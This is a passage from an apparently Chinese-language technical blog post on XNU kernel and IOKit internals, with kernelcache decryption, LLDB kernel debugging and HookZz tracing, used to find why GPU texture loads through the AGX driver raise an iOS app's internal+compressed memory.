-> *(idt64_hndl_table1 + 8*(trapfn = HNDL_UNIX_SCALL))
-> hndl_unix_scall

1.2. syscall 快速系统调用 (only for x86_64)

# xnu-4570.71.2/osfmk/i386/mp_desc.c

/*
 * Set MSRs for sysenter/sysexit and syscall/sysret for 64-bit.
 */
void
cpu_syscall_init(cpu_data_t *cdp)
{
    ...
    wrmsr64(MSR_IA32_LSTAR, DBLMAP((uintptr_t) hi64_syscall));
    ...
}
Entry(hi64_syscall)
Entry(idt64_syscall)
    swapgs
     /* Use RAX as a temporary by shifting its contents into R11[32:63]
      * The systemcall number is defined to be a 32-bit quantity, as is
      * RFLAGS.
      */
    shlq    $32, %rax
    or  %rax, %r11
.globl EXT(dblsyscall_patch_point)
EXT(dblsyscall_patch_point):
//  movabsq $0x12345678ABCDEFFFULL, %rax
     /* Generate offset to the double-mapped per-CPU data shadow
      * into RAX
      */
    leaq    EXT(idt64_hndl_table0)(%rip), %rax
    mov 16(%rax), %rax
    mov     %rsp, %gs:CPU_UBER_TMP(%rax)  /* save user stack */
    mov     %gs:CPU_ESTACK(%rax), %rsp  /* switch stack to per-cpu estack */
    sub $(ISF64_SIZE), %rsp

    /*
     * Synthesize an ISF frame on the exception stack
     */
    movl    $(USER_DS), ISF64_SS(%rsp)
    mov %rcx, ISF64_RIP(%rsp)       /* rip */

    mov %gs:CPU_UBER_TMP(%rax), %rcx
    mov %rcx, ISF64_RSP(%rsp)       /* user stack --changed */

    mov %r11, %rax
    shrq    $32, %rax       /* Restore RAX */
    mov %r11d, %r11d        /* Clear r11[32:63] */

    mov %r11, ISF64_RFLAGS(%rsp)    /* rflags */
    movl    $(SYSCALL_CS), ISF64_CS(%rsp)   /* cs - a pseudo-segment */
    mov %rax, ISF64_ERR(%rsp)       /* err/rax - syscall code */
    movq    $(HNDL_SYSCALL), ISF64_TRAPFN(%rsp)
    movq    $(T_SYSCALL), ISF64_TRAPNO(%rsp)    /* trapno */
    swapgs
    jmp L_dispatch          /* this can only be 64-bit */

syscall 之后的处理流程

L_dispatch
-> *idt64_hndl_table0
-> ks_dispatch
-> ks_dispatch_user
-> L_dispatch_64bit
-> L_common_dispatch
-> *(idt64_hndl_table1 + 8*(trapfn = HNDL_SYSCALL))
-> hndl_unix_scall

hndl_syscall 中根据 rax 判断 syscall 类型, 例如正常系统调用会在 hndl_unix_scall64 处进行跳转执行.

Entry(hndl_syscall)
    TIME_TRAP_UENTRY

    movq    %gs:CPU_ACTIVE_THREAD,%rcx  /* get current thread     */
    movl    $-1, TH_IOTIER_OVERRIDE(%rcx)   /* Reset IO tier override to -1 before handling syscall */
    movq    TH_TASK(%rcx),%rbx      /* point to current task  */

    /* Check for active vtimers in the current task */
    TASK_VTIMER_CHECK(%rbx,%rcx)

    /*
     * We can be here either for a mach, unix machdep or diag syscall,
     * as indicated by the syscall class:
     */
    movl    R64_RAX(%r15), %eax     /* syscall number/class */
    movl    %eax, %edx
    andl    $(SYSCALL_CLASS_MASK), %edx /* syscall class */
    cmpl    $(SYSCALL_CLASS_MACH<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_mach_scall64)
    cmpl    $(SYSCALL_CLASS_UNIX<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_unix_scall64)
    cmpl    $(SYSCALL_CLASS_MDEP<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_mdep_scall64)
    cmpl    $(SYSCALL_CLASS_DIAG<<SYSCALL_CLASS_SHIFT), %edx
    je  EXT(hndl_diag_scall64)

    /* Syscall class unknown */
    sti
    CCALL3(i386_exception, $(EXC_SYSCALL), %rax, $1)
    /* no return */


Entry(hndl_unix_scall64)
    incl    TH_SYSCALLS_UNIX(%rcx)      /* increment call count   */
    sti

    CCALL1(unix_syscall64, %r15)
    /*
     * always returns through thread_exception_return
     */

1.3. userspace 空间的 vm_fault

* thread #96, name = '0xffffff8026811650', queue = 'cpu-1', stop reason = breakpoint 3.1
  * frame #0: 0xffffff801dd6d5ee kernel`pmap_enter_options(pmap=0xffffff80269de250, vaddr=<unavailable>, pn=<unavailable>, prot=3, fault_type=<unavailable>, flags=<unavailable>, wired=<unavailable>, options=<unavailable>, arg=<unavailable>) at pmap_x86_common.c:986 [opt]
    frame #1: 0xffffff801dcec990 kernel`vm_fault_enter(m=0xffffff80215f0750, pmap=0xffffff80269de250, vaddr=4353159168, prot=3, caller_prot=<unavailable>, wired=0, change_wiring=<unavailable>, wire_tag=<unavailable>, no_cache=<unavailable>, cs_bypass=<unavailable>, user_tag=-2139079024, pmap_options=<unavailable>, need_retry=<unavailable>, type_of_fault=<unavailable>) at vm_fault.c:3279 [opt]
    frame #2: 0xffffff801dcee19b kernel`vm_fault_internal(map=0xffffff802918b700, vaddr=4353159168, caller_prot=3, change_wiring=<unavailable>, wire_tag=0, interruptible=<unavailable>, caller_pmap=<unavailable>, caller_pmap_addr=<unavailable>, physpage_p=<unavailable>) at vm_fault.c:0 [opt]
    frame #3: 0xffffff801dd891a2 kernel`user_trap [inlined] vm_fault(map=<unavailable>, fault_type=<unavailable>, change_wiring=0, wire_tag=0, interruptible=2, caller_pmap_addr=0) at vm_fault.c:3416 [opt]
    frame #4: 0xffffff801dd8917f kernel`user_trap(saved_state=0xffffff8025ad2460) at trap.c:1118 [opt]
    frame #5: 0xffffff801dc1d0a5 kernel`hndl_alltraps + 229

2. Mach 消息机制

所有的 mach 消息, 都要经过 mach_msg.

可以通过 MIG(Mach Interface Generator).defs 生成 mach 接口. 例如:

xcrun -sdk iphoneos mig \
  -arch arm64 \
  -DIOKIT \
  -I/xxx/macOS_10.13.6/xnu-4570.71.2/osfmk \
  iokitmig.defs

这里以 IOConnectCallMethod 举例.

Usermode
---
IOConnectCallMethod => io_connect_method => mach_msg() =>

Kernelmode
---
_Xio_connect_method => is_io_connect_method

3. IOKit 机制和内存布局

xnu 里的驱动是基于 libkern 的 c++ IO Kit 框架开发, 但只是一个 c++ 子集.

所以可以通过获取驱动类的继承关系和虚表关系帮助分析 iOS Kernelcache 中的各种无符号的驱动.

例如 AGXAcceleratorG10P_B0, 这也是下文要分析的驱动:

vtab=0xfffffff006fe2b68 size=0x00001998 meta=0xfffffff007866850 parent=0xfffffff0078666b0 AGXAcceleratorG10P_B0 (com.apple.AGXG10P)
       0x0 func=0xfffffff006d6e264 overrides=0xfffffff006d67308 pac=0x0000 AGXAcceleratorG10P_B0::fn_0x0()
       0x8 func=0xfffffff006d6e268 overrides=0xfffffff006d6730c pac=0x0000 AGXAcceleratorG10P_B0::~AGXAcceleratorG10P_B0()
      0x38 func=0xfffffff006d6e280 overrides=0xfffffff006d67324 pac=0x0000 AGXAcceleratorG10P_B0::getMetaClass() const
     0x2a8 func=0xfffffff006d6e28c overrides=0xfffffff006d67330 pac=0x0000 AGXAcceleratorG10P_B0::start()
     0x2b0 func=0xfffffff006d6e350 overrides=0xfffffff006d67494 pac=0x0000 AGXAcceleratorG10P_B0::stop()
     0x370 func=0xfffffff006d6e388 overrides=0xfffffff006d674cc pac=0x0000 AGXAcceleratorG10P_B0::getWorkLoop() const
     0x548 func=0xfffffff006d6e390 overrides=0xfffffff006d675d8 pac=0x0000 AGXAcceleratorG10P_B0::fn_0x548()
     0x710 func=0xfffffff006d6e398 overrides=0xfffffff006d6779c pac=0x0000 AGXAcceleratorG10P_B0::fn_0x710()
    ...
vtab=0xfffffff006fe0068 size=0x00001998 meta=0xfffffff0078666b0 parent=0xfffffff007866540 AGXAcceleratorG10 (com.apple.AGXG10P)
       0x0 func=0xfffffff006d67308 overrides=0xfffffff006d3648c pac=0x0000 AGXAcceleratorG10::fn_0x0()
       0x8 func=0xfffffff006d6730c overrides=0xfffffff006d36490 pac=0x0000 AGXAcceleratorG10::~AGXAcceleratorG10()
      0x38 func=0xfffffff006d67324 overrides=0xfffffff006d36494 pac=0x0000 AGXAcceleratorG10::getMetaClass() const
     0x140 func=0xfffffff006d454c0 overrides=0xfffffff007564e08 pac=0x0000 AGXAcceleratorG10::copyProperty() const
     0x158 func=0xfffffff006d4644c overrides=0xfffffff007564f9c pac=0x0000 AGXAcceleratorG10::setProperties()
     0x270 func=0xfffffff006d48198 overrides=0xfffffff00758b464 pac=0x0000 AGXAcceleratorG10::systemWillShutdown()
     0x280 func=0xfffffff006d481d4 overrides=0xfffffff00756a538 pac=0x0000 AGXAcceleratorG10::configureReport()
     0x288 func=0xfffffff006d481f0 overrides=0xfffffff00756a76c pac=0x0000 AGXAcceleratorG10::updateReport()
     0x2a0 func=0xfffffff006d57ba4 overrides=0xfffffff00756ac30 pac=0x0000 AGXAcceleratorG10::probe()
     0x2a8 func=0xfffffff006d67330 overrides=0xfffffff006d366ec pac=0x0000 AGXAcceleratorG10::start()
     0x2b0 func=0xfffffff006d67494 overrides=0xfffffff006d37a0c pac=0x0000 AGXAcceleratorG10::stop()
     0x370 func=0xfffffff006d674cc overrides=0xfffffff006d3adc4 pac=0x0000 AGXAcceleratorG10::getWorkLoop() const
     0x3a0 func=0xfffffff006d674d4 overrides=0xfffffff00756c31c pac=0x0000 AGXAcceleratorG10::callPlatformFunction()
     0x4d0 func=0xfffffff006d4ada0 overrides=0xfffffff00758b2e4 pac=0x0000 AGXAcceleratorG10::setPowerState()
     0x548 func=0xfffffff006d675d8 overrides=0xfffffff006d3adcc pac=0x0000 AGXAcceleratorG10::fn_0x548()
    ...
vtab=0x0000000000000000 size=0x00001990 meta=0xfffffff007866540 parent=0xfffffff007866358 AGXFamilyAccelerator (com.apple.AGXG10P)
vtab=0x0000000000000000 size=0x00001990 meta=0xfffffff007866358 parent=0xfffffff0078658a8 AGXAccelerator (com.apple.AGXG10P)
vtab=0xfffffff006fda6a8 size=0x00000c78 meta=0xfffffff0078658a8 parent=0xfffffff007865880 IOGraphicsAccelerator2 (com.apple.iokit.IOAcceleratorFamily2)
       0x0 func=0xfffffff006d3648c overrides=0xfffffff006d363b0 pac=0x0000 IOGraphicsAccelerator2::fn_0x0()
       0x8 func=0xfffffff006d36490 overrides=0xfffffff006d363b4 pac=0x0000 IOGraphicsAccelerator2::~IOGraphicsAccelerator2()
      0x38 func=0xfffffff006d36494 overrides=0xfffffff006d363cc pac=0x0000 IOGraphicsAccelerator2::getMetaClass() const
      0x68 func=0xfffffff006d37f74 overrides=0xfffffff007569c4c pac=0x0000 IOGraphicsAccelerator2::free()
     0x2a8 func=0xfffffff006d366ec overrides=0xfffffff00756ac34 pac=0x0000 IOGraphicsAccelerator2::start()
     0x2b0 func=0xfffffff006d37a0c overrides=0xfffffff00756ac3c pac=0x0000 IOGraphicsAccelerator2::stop()
     0x370 func=0xfffffff006d3adc4 overrides=0xfffffff00756c120 pac=0x0000 IOGraphicsAccelerator2::getWorkLoop() const
     0x418 func=0xfffffff006d3a444 overrides=0xfffffff00756c998 pac=0x0000 IOGraphicsAccelerator2::message()
     0x460 func=0xfffffff006d38560 overrides=0xfffffff00756cf88 pac=0x0000 IOGraphicsAccelerator2::newUserClient()
     0x538 func=0xfffffff006d3a550 overrides=0x0000000000000000 pac=0x0000 IOGraphicsAccelerator2::fn_0x538()
    ...

3.1. Connnect(Open) Driver(Service)

将在分析 AGXAcceleratorG10P_B0 时用到.

Kernelspace
---
_Xio_service_open_extended => is_io_service_open_extended =>
---
provider_service->newUserClient() => userClient_instantiate_class->initWithTask()

Userspace
---
io_service_t _io_get_service(const char *name) {
  static io_service_t service = MACH_PORT_NULL;
  if (service == MACH_PORT_NULL) {
    DLOG("Getting IO service handle...");
    service = _IOServiceGetMatchingService(get_io_master_port(), _IOServiceMatching(name));
    if (!MACH_PORT_VALID(service)) {
      FATAL("Failed to get IO service handle (port = 0x%08x)", service);
    }
  }
  return service;
}

io_service_t platformExpertDevice = _io_get_service("IOPlatformExpertDevice");
io_connect_t connect;
kr = _IOServiceOpen(platformExpertDevice, mach_task_self(), 0, &connect);
---
-> io_service_open_extended => mach_msg

3.2. Invoke driver methods

将在分析 AGXAcceleratorG10P_B0 时用到.

Usermode
---
IOConnectCallMethod => io_connect_method => mach_msg() =>

Kernelmode
---
_Xio_connect_method => is_io_connect_method =>
---
client->externalMethod => dispatch_by_selector
(lldb) bt
* thread #6, name = '0xffffff8013341520', queue = 'cpu-1', stop reason = breakpoint 1.1
  * frame #0: 0xffffff800bf3b8d6 kernel`mach_make_memory_entry_64(target_map=<unavailable>, size=0xffffff886e9d3790, offset=0, permission=409603, object_handle=0xffffff8017546c28, parent_handle=<unavailable>) at vm_user.c:2339 [opt]
    frame #1: 0xffffff800c4b52a9 kernel`IOGeneralMemoryDescriptor::memoryReferenceCreate(this=<unavailable>, options=0, reference=0xffffff8017546c28) at IOMemoryDescriptor.cpp:611 [opt]
    frame #2: 0xffffff800c4b3651 kernel`IOGeneralMemoryDescriptor::initWithOptions(this=<unavailable>, buffers=0x0000000000000001, count=1, offset=310765616, task=<unavailable>, options=<unavailable>, mapper=0x0000000000000000) at IOMemoryDescriptor.cpp:1709 [opt]
    frame #3: 0xffffff800c4a9d58 kernel`IOBufferMemoryDescriptor::initWithPhysicalMask(this=0xffffff8017546c00, inTask=<unavailable>, options=<unavailable>, capacity=2048000, alignment=<unavailable>, physicalMask=<unavailable>) at IOBufferMemoryDescriptor.cpp:289 [opt]
    frame #4: 0xffffff800c4aa9b7 kernel`IOBufferMemoryDescriptor::inTaskWithOptions(inTask=0x0000000000000000, options=65635, capacity=0x00000000001f4000, alignment=0x0000000000001000) at IOBufferMemoryDescriptor.cpp:339 [opt]
    frame #5: 0xffffff7f8e3344ac IOKitDemoDriver`SharedMemoryAlloc(buffer=0xffffff886e9d3a28, options=65635, size=2048000) at IOKitDemoDriver.cpp:87
    frame #6: 0xffffff7f8e334595 IOKitDemoDriver`IOKitDemoDriver::userClientMap(this=0xffffff8012b77360, owningTask=0xffffff8014b4dc28, map=0xffffff8012f93610, mapSize=0xffffff886e9d3a80) at IOKitDemoDriver.cpp:112
    frame #7: 0xffffff7f8e334aac IOKitDemoDriver`IOKitDemoDriverUserClient::userClientMap(target=0xffffff801745c000, reference=0x0000000000000000, args=0xffffff886e9d3b80) at IOKitDemoDriverUserClient.cc:53
    frame #8: 0xffffff800c4cb428 kernel`IOUserClient::externalMethod(this=<unavailable>, selector=<unavailable>, args=0xffffff886e9d3b80, dispatch=0xffffff7f8e336438, target=0xffffff801745c000, reference=0x0000000000000000) at IOUserClient.cpp:5289 [opt]
    frame #9: 0xffffff7f8e334b66 IOKitDemoDriver`IOKitDemoDriverUserClient::externalMethod(this=0xffffff801745c000, selector=1, arguments=0xffffff886e9d3b80, dispatch=0xffffff7f8e336438, target=0xffffff801745c000, reference=0x0000000000000000) at IOKitDemoDriverUserClient.cc:74
    frame #10: 0xffffff800c4d4237 kernel`::is_io_connect_method(connection=0xffffff801745c000, selector=1, scalar_input=<unavailable>, scalar_inputCnt=<unavailable>, inband_input=<unavailable>, inband_inputCnt=0, ool_input=<unavailable>, ool_input_size=<unavailable>, inband_output=<unavailable>, inband_outputCnt=<unavailable>, scalar_output=<unavailable>, scalar_outputCnt=<unavailable>, ool_output=<unavailable>, ool_output_size=<unavailable>) at IOUserClient.cpp:3943 [opt]
    frame #11: 0xffffff800bf44514 kernel`_Xio_connect_method(InHeadP=<unavailable>, OutHeadP=0xffffff8012f935e0) at device_server.c:8376 [opt]
    frame #12: 0xffffff800be70d9e kernel`ipc_kobject_server(request=0xffffff8017555380, option=<unavailable>) at ipc_kobject.c:351 [opt]
    frame #13: 0xffffff800be4dc2d kernel`ipc_kmsg_send(kmsg=0xffffff8017555380, option=3, send_timeout=0) at ipc_kmsg.c:1861 [opt]
    frame #14: 0xffffff800be60d1b kernel`mach_msg_overwrite_trap(args=<unavailable>) at mach_msg.c:570 [opt]
    frame #15: 0xffffff800bf7388d kernel`mach_call_munger64(state=0xffffff80144e1640) at bsd_i386.c:573 [opt]
    frame #16: 0xffffff800be1d996 kernel`hndl_mach_scall64 + 22

4. iOS(10+) Kernelcache 解密分析

这里以 iPhone8 - 11.4.1 为例子.

4.1. 解密 iOS Kernelcache

1. download `iPhone_4.7_P3_11.0_11.4.1_15G77_Restore.ipsw` from `https://ipsw.me/`
2. wget http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
3. clang++ lzssdec.cpp -o lzssdec
4. check the offset which lzssdec needed
[0] % hexdump -C -n 600 /Users/jmpews/Downloads/kernelcache.release.iphone10
00000000  30 83 fd 63 59 16 04 49  4d 34 50 16 04 6b 72 6e  |0..cY..IM4P..krn|
00000010  6c 16 1c 4b 65 72 6e 65  6c 43 61 63 68 65 42 75  |l..KernelCacheBu|
00000020  69 6c 64 65 72 2d 31 33  34 38 2e 37 30 2e 31 04  |ilder-1348.70.1.|
00000030  83 fd 63 2a 63 6f 6d 70  6c 7a 73 73 28 31 d7 4d  |..c*complzss(1.M|
00000040  02 02 40 00 00 fd 61 aa  00 00 00 01 00 00 00 00  |..@...a.........|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001b0  00 00 00 00 ff cf fa ed  fe 0c 00 00 01 d5 00 f6  |................|
000001c0  f0 02 f6 f0 15 f6 f0 70  0f 5a f3 f1 20 f6 f1 00  |.......p.Z.. ...|
000001d0  19 f6 f0 38 f5 f0 3f 5f  5f 54 45 58 54 09 02 1c  |...8..?__TEXT...|
5. ./lzssdec -o 0x1b4 < kernelcache.release.iphone10 > kernelcache.release.iphone10.decrypt

4.2. 获取 iOS dyld_shared_cache

cp /Volumes/xxx/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 /xxx/xxx

4.3 分析 iOS Pirvate Framework

可以通过 Users/jmpews/Library/Developer/Xcode/iOS DeviceSupport/11.4.1 (15G77)/Symbols/System/Library/Extensions/AGXMetalA11.bundle/ 获取到 AGXMetalA11 由于 shared cache 但会存在大量未知地址引用, 所以如需更进一步的具体分析请使用 IDA 分析 dyld_shared_cache_arm64, 尽量避免完全分析, 只要分析对应 Framework 以及其依赖即可.

5. XNU Kernel 调试

这里的 XNU Kernel 调试并没有使用 Apple 提供的 KDP, 而是基于 VMware + LLDB 的调试, 可以参考我的上篇文章 From UEFI Reversing to Xnu Kernel Debug, 这里贴一下 lldb command script.

#Help lldb figure out we're debugging x86_64
settings set plugin.process.gdb-remote.target-definition-file ~/.lldb/x86_64_target_definition.py

#Use a reasonable disassembly syntax
settings set target.x86-disassembly-flavor intel

#Tell load any lldb scripts and macros hidden inside .dSYM files
settings set target.load-script-from-symbol-file true

#Tell lldb where the source directory really is
settings set target.source-map  /BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4570.20.62 /Users/jmpews/Downloads/xnu-4570.20.62

#This should get loaded automatically when we set the target executable
#command script import "/Library/Developer/KDKs/KDK_10.13.1_17B48.kdk/System/Library/Kernels/kernel.debug.dSYM/Contents/Resources/Python/lldbmacros/xnu.py"

#This does not appear to get loaded automatically, so we load it here.
#command script import "/Library/Developer/KDKs/KDK_10.13.1_17B48.kdk/System/Library/Kernels/kernel.debug.dSYM/Contents/Resources/Python/lldbmacros/memory.py"

# Load the kernel binary we're going to be debugging.
target create /Library/Developer/KDKs/KDK_10.13.1_17B48.kdk/System/Library/Kernels/kernel.debug

6. HookZz Runtime DBI 分析

HookZz 是本人编写的 hook framework, 在分析过程中, 为了确定了 Userspace 下问题问题的发生点, 使用了 HookZz 大量进行了插桩分析.

ZzWrap API 允许对任何函数添加 pre_callpost_call, 可以非常方便确定某一个函数是否是导致问题发生的点.

ZzDynamicBinaryInstrument API 允许对任意指令地址增加 dbi_call, 可以非常方便确定某一个函数内的哪一个区间导致问题发生的点.

分析思路

1.1 vm_fault 导致 internal+compressed 增加

首先判断问题的发生位置:

1). Userspace 下的内存分配 malloc / vm_allocate / mmap(这里其实并不用考虑, 因为 userspace 下在进行分配的时其 vm_object 一定统计在自身的 task->map)
2). IOKit 驱动内部内存分配

对于 1) 这里直接 Inlinehook malloc / vm_allocate / mmap, 并没有发现异常点. 接着怀疑是调用了驱动方法, 直接断点 mach_msg. 可以发现确实调用了 mach 系统调用.

(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1
  * frame #0: 0x0000000184b9fc18 libsystem_kernel.dylib`mach_msg
    frame #1: 0x0000000185407bb8 IOKit`io_connect_method + 416
    frame #2: 0x00000001853a4038 IOKit`IOConnectCallMethod + 232
    frame #3: 0x0000000186f399c0 IOAccelerator`IOAccelResourceCreate + 148
    frame #4: 0x0000000186f75228 Metal`-[MTLIOAccelResource initWithDevice:options:args:argsSize:] + 264
    frame #5: 0x0000000186f6ad48 Metal`-[MTLIOAccelTexture initWithDevice:descriptor:sysMemSize:sysMemRowBytes:vidMemSize:vidMemRowBytes:args:argsSize:] + 176
    frame #6: 0x00000001ad604360 AGXMetalA11`___lldb_unnamed_symbol1181$$AGXMetalA11 + 580
    frame #7: 0x00000001a56ef41c AppleMetalGLRenderer`GLDTextureRec::allocMetalTexture() + 176
    frame #8: 0x00000001a56ef58c AppleMetalGLRenderer`GLDTextureRec::loadPrivateTexture(unsigned int, unsigned short*) + 56
    frame #9: 0x00000001a56ed8e8 AppleMetalGLRenderer`GLDTextureRec::update(unsigned int, unsigned short*) + 168
    frame #10: 0x00000001a56ed7f4 AppleMetalGLRenderer`GLDTextureRec::load() + 96
    frame #11: 0x00000001a56fe1f4 AppleMetalGLRenderer`gldModifyTexSubImage + 88
    frame #12: 0x00000001a6467328 GLEngine`glTexImage2D_Exec + 1752
    frame #13: 0x0000000102941934 libglInterpose.dylib`tex_image2D(__GLIContextRec*, unsigned int, int, unsigned int, int, int, int, unsigned int, unsigned int, void const*) + 388
    frame #14: 0x000000018814c738 OpenGLES`glTexImage2D + 108

这里需要判断是否确实这个 mach 调用, 导致的 internal 增加, 但 footprint 不增加, 尝试使用 HookZzZzWrapIOAccelResourceCreate 进行 PreCallPostCall 的 trace.

void common_pre_call(RegisterContext *reg_ctx, const HookEntryInfo *info)
{
  NSByteCountFormatter *formatter            = [[NSByteCountFormatter alloc] init];
  formatter.countStyle = NSByteCountFormatterCountStyleMemory;
  MemoryInfo *mem_info = memoryFootprint();
  NSLog(@"PRE==:footprint: %@, internal+compressed: %@, virtual:%@",
        [formatter stringFromByteCount:mem_info.footprint],
        [formatter stringFromByteCount:mem_info.internal + mem_info.compressed],
        [formatter stringFromByteCount:mem_info.virtual_size]);
  printf("virtual:%d\n", mem_info.virtual_size);
}

void common_post_call(RegisterContext *reg_ctx, const HookEntryInfo *info)
{
  NSByteCountFormatter *formatter            = [[NSByteCountFormatter alloc] init];
  formatter.countStyle = NSByteCountFormatterCountStyleMemory;
  MemoryInfo *mem_info = memoryFootprint();
  NSLog(@"POST==:footprint: %@, internal+compressed: %@, virtual:%@",
        [formatter stringFromByteCount:mem_info.footprint],
        [formatter stringFromByteCount:mem_info.internal + mem_info.compressed],
        [formatter stringFromByteCount:mem_info.virtual_size]);
  
  printf("virtual:%d\n", mem_info.virtual_size);
}

ZzWrap((void *)0x1a46b619c, common_pre_call, common_post_call);

但是发现 internal+compressed 没有任何增加, 那是不是确实跟这个 mach 系统调用无关呢? 接下来继续通过 Dynamic Binary Instrumentation (DBI) 来确定到底是哪个函数导致了 internal+compressed 的增加.

如下是 -[MTLIOAccelResource initWithDevice:options:args:argsSize:] 的实现, 请注意图中的标注点.

最终在 dyld_shared_cache_arm64AGXMetalA11 如下函数确定导致 internal+compressed 的增加, 但是这段函数没有任何调用, 并且推测是一段内存拷贝的代码. 所以这里推测是 vm_fault 导致.

__int64 __fastcall sub_1A93455C8(__int64 result, __int64 a2, int a3, int a4, int a5, int a6, __int64 a7, unsigned int a8, unsigned int a9, unsigned int a10, unsigned int a11)
{
    ...
      do
      {
        v39 = 0;
        v40 = v38 + 4LL * a8;
        v41 = v26;
        do
        {
          v42 = result + 4 * (v41 + v33);
          v43 = *(v40 + 16);
          v45 = *(v40 + a7);
          v46 = *(v40 + a7 + 16);
          v44 = (v40 + a7 + a7);
          v48 = *v44;
          v49 = v44[1];
          v47 = (v44 + a7);
          v50 = *v47;
          v51 = v47[1];
          v52 = vzip2q_s32(*v40, v45);
          *v42 = vzip1q_s32(*v40, v45);
          *(v42 + 16) = vzip1q_s32(v48, v50);
          *(v42 + 32) = v52;
          *(v42 + 48) = vzip2q_s32(v48, v50);
          v42 += 128LL;
          *v42 = vzip1q_s32(v43, v46);
          *(v42 + 16) = vzip1q_s32(v49, v51);
          *(v42 + 32) = vzip2q_s32(v43, v46);
          *(v42 + 48) = vzip2q_s32(v49, v51);
          v41 = (v41 - v12) & v12;
          v40 += 32LL;
          v39 += 8;
        }
        while ( v39 < a10 );
        v33 = (v33 - v19) & v19;
        v38 += 4 * a7;
        v37 += 4;
      }
      while ( v37 < a11 );
    ...
}

1.2. 内核驱动定位

这里先确定要分析的驱动.

kern_return_t
(*orig_IOServiceOpen)(
                   io_service_t    service,
                   task_port_t  owningTask,
                   uint32_t  type,
                   io_connect_t  *  connect );

kern_return_t
fake_IOServiceOpen(
              io_service_t    service,
              task_port_t  owningTask,
              uint32_t  type,
              io_connect_t  *  connect ) {
  
  kern_return_t kr;
  kr = orig_IOServiceOpen(service, owningTask, type, connect);
  io_name_t name;
  io_string_t path;
  
  kr = IORegistryEntryGetName(service, name);
  kr = IORegistryEntryGetPath(service, "IOService", path );
  if (kIOReturnSuccess != kr) {
    FATAL("open %s (0x%x)\n", mach_error_string(kr), kr);
  }
  CFMutableDictionaryRef properties = NULL;
  kr = _IORegistryEntryCreateCFProperties(service, &properties, kCFAllocatorDefault, kNilOptions);
  NSLog(@"%@", properties);
  printf(">>> service: %d, connect: %d, type: %d, name %s, path: %s\n", service, *connect, type, name, path);
  return kr;
}

// IOServiceOpen
void *IOServiceOpen_addr = dlsym(dlopen(0, RTLD_NOW), "IOServiceOpen");
ZzReplace((void *)IOServiceOpen_addr, (void *)fake_IOServiceOpen, (void **)&orig_IOServiceOpen);

通过 Hook 获取到期间使用到的驱动 AGXAcceleratorG10P_B0.

2018-12-24 10:52:04.671007+0800 ios_memory_usage_demo[4289:2499148] {
    AGXParameterBufferMaxSize = 201326592;
    AGXParameterBufferMaxSizeEverMemless = 134217728;
    AGXParameterBufferMaxSizeNeverMemless = 67108864;
    IOClass = "AGXAcceleratorG10P_B0";
    IOGLESBundleName = AppleMetalGLRenderer;
    InternalStatistics =     {
        "Allocated PB Size" = 1048576;
        agpTextureCreationCount = 0;
        agprefTextureCreationCount = 0;
        bufferSwapCount = 0;
        clientGLWaitTime = 0;
        dataBufferCount = 0;
        dataBytesPerSample = 0;
        freeDataBufferWaitTime = 0;
        gartCacheBytes = 33554432;
        gartFreeBytes = 1361772544;
        gartSizeBytes = 1393639424;
        hardwareSubmitWaitTime = 0;
        inUseSysMemoryBytes = 0;
        iosurfaceTextureCreationCount = 0;
        oolTextureCreationCount = 0;
        orphanedNonReusableSysMemoryBytes = 0;
        orphanedNonReusableSysMemoryCount = 0;
        orphanedReusableSysMemoryBytes = 0;
        orphanedReusableSysMemoryCount = 0;
        orphanedReusableSysMemoryHitRate = 0;
        stdTextureCreationCount = 0;
    };
    InternalStatisticsAccm =     {
        "Allocated PB Size" = 1048576;
        agpTextureCreationCount = 0;
        agprefTextureCreationCount = 0;
        bufferSwapCount = 0;
        clientGLWaitTime = 0;
        dataBufferCount = 0;
        dataBytesPerSample = 0;
        freeDataBufferWaitTime = 0;
        gartCacheBytes = 33554432;
        gartFreeBytes = 1361772544;
        gartSizeBytes = 1393639424;
        hardwareSubmitWaitTime = 0;
        inUseSysMemoryBytes = 0;
        iosurfaceTextureCreationCount = 0;
        oolTextureCreationCount = 0;
        orphanedNonReusableSysMemoryBytes = 0;
        orphanedNonReusableSysMemoryCount = 0;
        orphanedReusableSysMemoryBytes = 0;
        orphanedReusableSysMemoryCount = 0;
        orphanedReusableSysMemoryHitRate = 0;
        stdTextureCreationCount = 0;
    };
    MetalPluginClassName = AGXA11Device;
    MetalPluginName = AGXMetalA11;
    MetalStatisticsName = AGXMetalStatisticsExternalA11;
    PerformanceStatistics =     {
        CommandBufferRenderCount = 0;
        "Device Utilization %" = 0;
        "Renderer Utilization %" = 0;
        SplitSceneCount = 0;
        TiledSceneBytes = 0;
        "Tiler Utilization %" = 0;
        agpTextureCreationBytes = 0;
        agprefTextureCreationBytes = 0;
        contextGLCount = 0;
        finishGLWaitTime = 0;
        freeToAllocGPUAddressWaitTime = 0;
        gartMapInBytesPerSample = 0;
        gartMapOutBytesPerSample = 0;
        gartUsedBytes = 31866880;
        hardwareWaitTime = 0;
        iosurfaceTextureCreationBytes = 0;
        oolTextureCreationBytes = 0;
        recoveryCount = 0;
        stdTextureCreationBytes = 0;
        textureCount = 873;
    };
    PerformanceStatisticsAccum =     {
        CommandBufferRenderCount = 0;
        "Device Utilization %" = 0;
        "Renderer Utilization %" = 0;
        SplitSceneCount = 0;
        TiledSceneBytes = 0;
        "Tiler Utilization %" = 0;
        agpTextureCreationBytes = 0;
        agprefTextureCreationBytes = 0;
        contextGLCount = 0;
        finishGLWaitTime = 0;
        freeToAllocGPUAddressWaitTime = 0;
        gartMapInBytesPerSample = 0;
        gartMapOutBytesPerSample = 0;
        gartUsedBytes = 31866880;
        hardwareWaitTime = 0;
        iosurfaceTextureCreationBytes = 0;
        oolTextureCreationBytes = 0;
        recoveryCount = 0;
        stdTextureCreationBytes = 0;
        textureCount = 873;
    };
}
>>> service: 9219, connect: 39939, type: 2, name AGXAcceleratorG10P_B0, path: IOService:/AppleARMPE/arm-io@8F00000/AppleT8015IO/sgx@4000000/AGXAcceleratorG10P_B0

通过 hook IOConnectCallMethod 发现, 调用的是 selector == 0 的驱动方法

